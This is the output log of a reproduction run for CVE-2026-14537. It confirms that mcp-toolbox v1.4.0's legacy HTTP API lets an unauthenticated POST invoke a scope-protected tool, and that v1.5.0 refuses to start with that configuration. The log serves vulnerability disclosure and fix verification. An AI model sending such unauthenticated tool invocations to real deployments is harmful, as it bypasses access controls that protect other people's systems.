=== CVE-2026-14537 reproduction: mcp-toolbox legacy HTTP API authz bypass ===
[*] Using prepared project cache repo: /pruva/project-cache/repo
go version go1.26.3 linux/amd64
[*] Reusing cached build /tmp/toolchain/toolbox-v1.4.0 (d67cfbe8ddca5a50c9577ea11feaf5c94d0acace)
[*] Reusing cached build /tmp/toolchain/toolbox-v1.5.0 (45c0f86ce0199a8aed9c980370dd2c03f2684f5a)
[*] OIDC stub up on port 8099
[*] Starting mcp-toolbox v1.4.0 on port 5000 (--enable-api, MCP auth enabled)
[+] v1.4.0 server is healthy
[*] Sending unauthenticated POST /api/tool/protected-tool/invoke
[*] Legacy API response status: 200
{"result":"[{\"marker\":\"CVE-2026-14537-PWNED\"}]"}

[*] Sending unauthenticated POST /mcp (tools/call) for contrast
[*] MCP endpoint response status without token: 401
{"jsonrpc":"2.0","id":null,"error":{"code":-32001,"message":"missing access token"}}

[*] Starting mcp-toolbox v1.5.0 with identical config and --enable-api (expect startup refusal)
[*] v1.5.0 exit code with --enable-api + MCP auth: 1
2026-07-31T04:46:03.735992652Z ERROR "MCP Auth cannot be enabled together with the legacy HTTP API (--enable-api)" 
------------------------------------------------------------
vulnerable unauthenticated API invoke succeeded : 1 (status=200)
MCP endpoint rejects unauthenticated caller     : 1 (status=401)
fixed v1.5.0 fails closed at startup            : 1 (rc=1)
------------------------------------------------------------
[+] CONFIRMED: unauthenticated invocation of a scope-protected tool via the legacy HTTP API (v1.4.0); v1.5.0 fails closed.